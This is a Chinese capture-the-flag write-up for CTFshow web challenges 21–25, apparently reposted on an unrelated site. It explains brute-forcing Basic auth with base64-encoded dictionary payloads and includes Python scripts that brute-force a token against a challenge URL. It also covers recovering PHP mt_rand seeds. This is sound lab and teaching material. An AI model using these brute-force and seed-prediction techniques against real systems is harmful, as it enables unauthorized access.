CTFshow |
您所在的位置:网站首页 › ctfshow web区 › CTFshow |
文章目录
WEB21WEB22WEB23WEB24WEB25WEB26WEB27WEB28
WEB21
先随意使用一个密码抓包尝试一下 base64解密后发现账号密码的形式为 账号:密码 根据提示我们使用题目所给字典爆破 构造payload,猜测账户名为admin,前半部分不用变,为后半部分迭代即可 导入所给字典 进行base64编码,切记不可为符号再编码,base64可能存在= attack 拿到flag 或者采用方式二 同样拿下 WEB22子域名爆破,但是这题爆不出来,直接查看view hint得到flag WEB23根据代码编写爆破脚本 一种方法是尝试每一个token值的返回页面,另一种方法爆出token值 方法一 import requests a = "abcdefghijklmnopqrstuvwxyz0123456789" for i in a: for j in a: url ="http://5aad3711-167d-4268-94b4-3bb1a93ae1f0.chall.ctf.show:8080?token="+str(i)+str(j) req = requests.get(url=url).text if "ctf" in req: print(req) exit() else: print(url) #此方法爆破较慢方法二 import hashlib a = '0123456789abcdefghijklmnopqrstuvwxyz' for i in a: for j in a: t = (str(i)+str(j)).encode('utf-8') md5 = hashlib.md5(t).hexdigest() if md5[1:2] == md5[14:15] == md5[17:18]: if (int(md5[1:2])+int(md5[14:15])+int(md5[17:18]))/int(md5[1:2]) == int(md5[31:32]): print(t)爆出3j url后加?token=3j即可 WEB24看到mt_srand()函数即可知道是伪随机数,每次生成的随机数是一样的 运行脚本 得到1155388967 题目所给代码得知传参为r= 所以在url后加?r=1155388967即可 WEB25r=0,先出一个随机值 用php_mt_seed反解可能存在的seed值 通过如下代码,我们知道要将两个随机数相加得token值 if($_COOKIE[‘token’]==(mt_rand()+mt_rand()))脚本挨个尝试seed(在网页头文件中发现是PHP7.3,所以只尝试高版本即可) |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |